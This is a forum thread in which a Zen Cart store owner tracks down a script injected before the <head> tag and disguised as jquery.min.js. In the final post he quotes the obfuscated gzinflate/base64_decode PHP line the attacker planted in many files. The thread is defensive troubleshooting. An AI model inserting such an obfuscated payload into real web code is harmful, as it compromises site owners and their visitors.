Mysterious code before <head> tag

**snaple** · 27 Mar 2012, 02:28 AM

Hey, the site in question is http://biggrowhydro.com

Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

None of the files I have checked have had any instance of the line.

I would appreciate any help or ideas.

Thanks in advance.

**gjh42** · 27 Mar 2012, 02:39 AM

Some mod you have installed or made was set up incorrectly. You should not have a call like this before the <head> but after it (and before the </head>), and the jquery file (which is not used by stock Zen Cart) should not be located in
biggrowhydro.com//stylesheets/jquery.min.js
but in
biggrowhydro.com/includes/templates/your_template/jscript/jscript_jquery.min.js
(note the filename jscript_jquery.min.js). This filename and location will cause the file to be loaded in the correct place automatically.

**gjh42** · 27 Mar 2012, 02:48 AM

It is conceivable that the file was named jquery.min.js as a smokescreen for a malicious file; the jquery library would never be put in a stylesheet folder by anyone with honorable intentions who knew what they were doing.

**nigelt74** · 27 Mar 2012, 02:48 AM

Did you install it yourself? what mod are you using that requires it?

javascript files should be placed in

includes/templates/bigGrow/jscript/

and named with the prefix
jscript_

and have you looked in this file

includes\templates\your_template\common\html_header.php

and if that file doesn't exist

includes\templates\template_default\common\html_header.php

Originally Posted by snaple

Hey, the site in question is http://biggrowhydro.com

Recently google flagged the file jquery.min.js as malicious. I attempted to locate where I was using such a file in my source code and found that it is before my <head> tag on all of my pages.

I tried to use the developer tools to locate where the script is being called (which php file) and it was unable to locate any part of the script tag/link.

By any chance does anyone know where zen cart would be pulling data from to place before the <head> tag?

I have already checked a few places including tpl_main_page.php, tpl_header.php, meta_tags.php, and application_top.php

None of the files I have checked have had any instance of the line.

I would appreciate any help or ideas.

Thanks in advance.

**snaple** · 27 Mar 2012, 05:56 PM

I solved the problem. Someone did indeed hack the site and modified some of the files. How they managed to gain write access is what I am looking into now.

They used gzinflate and base64_decode to hide the script execution/call, like this:

echo(gzinflate(base64_decode("TcxLDoAgDADRqxAOQPcGvQtiwycq2BaV22vixu2bZCx7SlWU9I qjFrwFsjvdp1qtbg/NhTf9lcmPOorUAWBOIVC5Yl+oGF82AJa+IkdEYchHQ+pmS7vJrNVk4XtMDw==")));

This was added to many files including before the start of the real code in index.php in /html/ of my zen cart store.

Thanks for the help!

Thread: Mysterious code before <head> tag

Thread Tools

Search Thread

Display

Hybrid View

Mysterious code before <head> tag

Re: Code before <head> tag

Re: Code before <head> tag

Re: Code before <head> tag

Re: Mysterious code before <head> tag

Similar Threads

v151 Head's tags goes into body tag.

Need help, Mysterious Code Chunk

Need to add code below </head> tag and above <body> tag in product page

<head tag on specific catagory page

Adding a head tag script

Posting Permissions